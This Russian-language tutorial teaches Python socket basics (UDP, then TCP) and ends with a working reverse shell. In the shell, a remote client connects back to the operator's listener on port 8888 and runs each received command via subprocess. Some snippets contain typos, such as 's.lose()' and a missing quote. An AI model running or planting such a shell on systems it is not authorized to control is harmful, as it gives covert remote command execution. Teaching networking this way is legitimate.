В этой статье мы познакомимся с основами работой в сети на Питоне, на примере Обратного Шела. Reverse Shell (или Reverse TCP, или connect-back, или обратное подключение) — это схема взаимодействия с удалённым компьютером. При котором на удаленном компьютере запускается подключение к серверу расположенному на локальном(которое используете вы). Данный тип подключения позволяет нам попасть в сеть которая находиться за NAT и не имеет внешнего IP.
Существует два транспортных протокола, по которым передаются данные в компьютерных сетях, — это UDP (User Datagram Protocol) и TCP (Transmission Control Protocol). UDP предназначен для передачи пакетов от одного узла к другому без гарантии доставки, так как между отправителем и получателем не установлен канал связи. Протокол TCP тоже доставляет сообщения, но при этом гарантирует, что пакет долетит до получателя целым и невредимым. По факту мы устанавливаем стабильный канал связи.
Практика.
В Python3 для работы с этими протоколами есть стандартная библиотека socket.
import socket
Давайте договоримся что у нас есть сервер и клиент. Сервер это будет наш локальный компьютер с которого мы будем подключаться. Клиент будет удаленный компьютер к которому будем подключаться. Это важно , так как код для сервера и клиента будет отличаться.
Давайте создадим сокет, место для обмена данными:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
Создали объект s , экземпляр класса socket. AF_INET означает что используется IP протокол 4 версии( мы можем так же использовать IPv6) . SOCK_DGRAM означает что для передачи используется протокол UDP (SOCK_STREAM использует TCP)
Сторона сервера.
s.bind(('192.168.146.1', 8888))
result = s.recv(1024)
print('Message: ', result.decode('utf-8'))
s.close()
s.bind((‘192.168.146.1’, 8888)) означает что мы резервируем в системе адрес 192.168.146.1 и порт 8888 на котором будем слушать и принимать пакеты информации. Метод bind() принимает кортеж значение( сетевой адрес и порт)
Обратите внимание что занимать можно только свободные порты. Иначе это может мешать работе нашей и других програм.
Далее метод recv() прослушивает указанный нами порт 8888 и получает данные, 1024 размер буфера в байтах . Если на него присылают датаграмму, то метод считывает указанное количество байтов и они попадают в переменную result .
Датаграмма (англ. datagram, дейтаграмма) — блок информации, передаваемый протоколом через сеть связи без предварительного установления соединения и создания виртуального канала.
Таковы, например, протоколы Ethernet, IP, UDP и др.
Поскольку данные в result — это текст в кодировке UTF‐8, мы должны декодировать его, вызвав метод decode(‘utf‐8’).
Метод close() необходим что бы остановить процесс прослушивания 8888-го порта и освободить его.
Сторона Клиента.
Тут все проще. Просто отправляем сообщение серверу методом sendto().
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
message= input().encode('utf-8')
s.sendto(message, ('192.168.146.1', 8888))
Обратите внимание input().encode(‘utf-8’) строку нам надо закодировать в байты (utf-8 это все голиш формат кодировки символов). Так как по сети мы передаем байты.
TCP…
До этого мы использовали протокол UDP который совсем не гарантирует доставки данных до сервера. Давайте попробуем организовать все более надежно, используя протокол TCP.
# Серверная часть.
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('192.168.146.1', 8888))
s.listen(5)
while 1:
try:
client, addr = s.accept()
except KeyboardInterrupt:
s.close()
else:
result = client.recv(1024)
print('Message: ',result.decode('utf-8'))
Первым делом создадим сокет TCP : s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) . Дальше будет новый метод .listen(5) : с его помощью мы организовываем очередь подключенных клиентов ( 5 — ограничение подключенных клиентов ожидающих ответа). Далее у нас идет бесконечный цикл где мы обрабатываем подключения.
Если вы не знакомы с исключениями в Питоне. То кратко, для обработки исключений используется конструкция try — except . В теле try выполняется код, если возникнет ошибка то программа не вылетит а выполнить тело except. В теле except мы может прописать при какой именно ошибке его выполнить KeyboardInterrupt (порождается при прерывании программы пользователем (обычно сочетанием клавиш Ctrl+C)) else выполняется если исключение не было выполнено.
Принять подключение с помощью метода accept, который возвращает кортеж с двумя элементами: новый сокет(экземпляр socket для данного подключения) и адрес клиента. Именно этот сокет и будет использоваться для приема и посылке клиенту данных.
Ну теперь сторона Клиента. Тут тоже будет немного нового :
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.146.1, 8888))
message = input().encode('utf-8')
s.send(message)
s.close()
s.connect((‘192.168.146.1, 8888)) мы с начало именно подключаемся к серверу. Протокол TCP работает если грубо как тунель. Далее мы методом .send() отправляем данные . И закрываем подключение, что бы не занимать очередь на сервере. Пока мы не закроем его, так и будет держаться тунель определенное время.

Обратный шелл.
Давайте теперь перейдем к практической части. Напишем наконец то шелл.
Shell — обычно называют любую командную оболочку. В Linux это например bash , а Windows это наверное будет cmd.
Для полноценной командной оболочке нам потребуется метод subpocess . Которые позволяет запустить в ОС процессы, управлять ими и взаимодействовать через стандартный ввод вывод.
Начнем с клиента :
import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.146.1', 8888))
while 1:
command = s.recv(1024).decode()
if command.lower() == 'exit' :
break
output = subprocess.getoutput(command)
s.send(output.encode())
s.lose()
Пару моментов : command.lower() , метод .lower() преобразует все символы строки в нижний регистр. subprocess.getoutput(command) : метод .getoutput() вызывает выполнение команды и возвращает ее вывод. Остальное думаю все понятно.
Серверная часть :
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('192.168.146.1', 8888))
s.listen(5)
client, addr = s.accept()
while 1:
command = str(input('Enter command:'))
client.send(command.encode())
if command.lower() == 'exit':
break
result_output = client.recv(1024).decode()
print(result_output)
client.close()
s.close()
Тут вроде все тоже понятно.